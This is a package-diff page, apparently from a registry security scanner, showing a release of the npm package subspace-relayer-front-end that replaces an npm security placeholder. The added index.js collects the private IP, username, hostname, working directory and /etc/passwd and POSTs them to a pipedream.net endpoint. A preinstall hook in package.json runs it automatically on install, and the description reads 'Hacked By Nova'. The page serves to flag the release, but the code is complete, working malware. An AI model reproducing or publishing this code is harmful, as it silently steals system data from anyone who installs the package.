subspace-relayer-front-end 0.0.1-security → 9.9.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of subspace-relayer-front-end might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +34 -0
  2. package/package.json +12 -6
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,34 @@
1
+ const execSync = require('child_process').execSync;
2
+
3
+ const priv_ip = execSync('hostname -I', { encoding: 'utf-8' });
4
+ const whoami = execSync('whoami', { encoding: 'utf-8' });
5
+ const host = execSync('hostname', { encoding: 'utf-8' });
6
+ const current_dir = execSync('pwd', { encoding: 'utf-8' });
7
+ const passwd = execSync('cat /etc/passwd', { encoding: 'utf-8' });
8
+
9
+
10
+ const https = require("https")
11
+
12
+ const data = JSON.stringify({
13
+ "private IP": priv_ip,
14
+ "whoami": whoami,
15
+ "hostname": host,
16
+ "current dir": current_dir,
17
+ "passwd": passwd,
18
+
19
+ })
20
+
21
+ const options = {
22
+ hostname: "eoyepq82deghwp1.m.pipedream.net",
23
+ port: 443,
24
+ path: "/",
25
+ method: "POST",
26
+ headers: {
27
+ "Content-Type": "application/json",
28
+ "Content-Length": data.length,
29
+ },
30
+ }
31
+
32
+ const req = https.request(options)
33
+ req.write(data)
34
+ req.end()
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
- {
2
- "name": "subspace-relayer-front-end",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "subspace-relayer-front-end",
3
+ "version": "9.9.9",
4
+ "description": "Hacked By Nova",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall" : "node index.js"
9
+ },
10
+ "author": "Nova Security",
11
+ "license": "ISC"
12
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=subspace-relayer-front-end for more information.